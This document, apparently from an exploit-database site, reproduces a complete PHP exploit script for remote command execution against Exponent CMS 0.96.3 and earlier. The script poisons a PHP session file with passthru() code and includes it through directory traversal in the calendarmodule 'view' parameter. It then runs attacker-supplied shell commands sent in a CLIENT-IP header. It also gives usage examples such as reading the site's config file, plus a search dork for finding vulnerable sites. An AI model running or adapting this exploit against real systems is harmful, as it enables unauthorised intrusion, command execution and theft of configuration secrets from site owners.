Exponent CMS <= 0.96.3 (view) Remote Command Execution Exploit

Exploit Code :

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
.:-------------------------------------------------------------------------
--:.
Exponent CMS 0.96.3 stable (possibly other versions) "view" arbitrary
local
inclusion / remote commands xctn exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Welcome to Exponent CMS" | "my new exponent site"
| inurl:calendarmodule -CALENDARMODULE.html
°:-------------------------------------------------------------------------
---:°
');

/*
this works regardless of php.ini settings
because of some magic_quotes_gpc disable code in pathos_bootstrap.php
will try to include some session files
*/

if ($argc<4) {
print_r('
---------------------------------------------------------------------------
--
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: path to exponent
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /expo/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / cat ./conf/config.php -p81
---------------------------------------------------------------------------
--
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$code="<?php;set_time_limit(0);passthru($_SERVER[HTTP_CLIENT_IP]);die;?>";
$packet ="GET ".$p."index.php?section=1&suntzu=$code HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/plainrn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode("n",$temp[1]);
$temp=(explode("=",$temp2[0]));
$sess=trim($temp[1]);
//echo "session id -> << ".$sess." >>n";
$paths=array("../../../../../../../../../../../../../../tmp/",
"../../tmp/",
"../../../tmp/",
"../../../../tmp/",
"../../../../../tmp/",
"../../../../../../tmp/",
"../../../../../../../tmp/");
for ($i=0; $i<count($paths); $i++)
{
$my_path=urlencode($paths[$i]);
$packet ="GET
".$p."index.php?src=1&_common=1&time=1060941600&action=show_view&module=cal
endarmodule&view=".$my_path."%2fsess_".$sess."%00&suntzu HTTP/1.0rn";
$packet.="User-Agent: sunrn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/plainrn";
$packet.="CLIENT-IP: $cmdrn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (eregi("pathos_default_flow",$html))
{
$temp=explode("suntzu=",$html);
die($temp[1]);
}
}
echo "exploit failed...";
?>

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason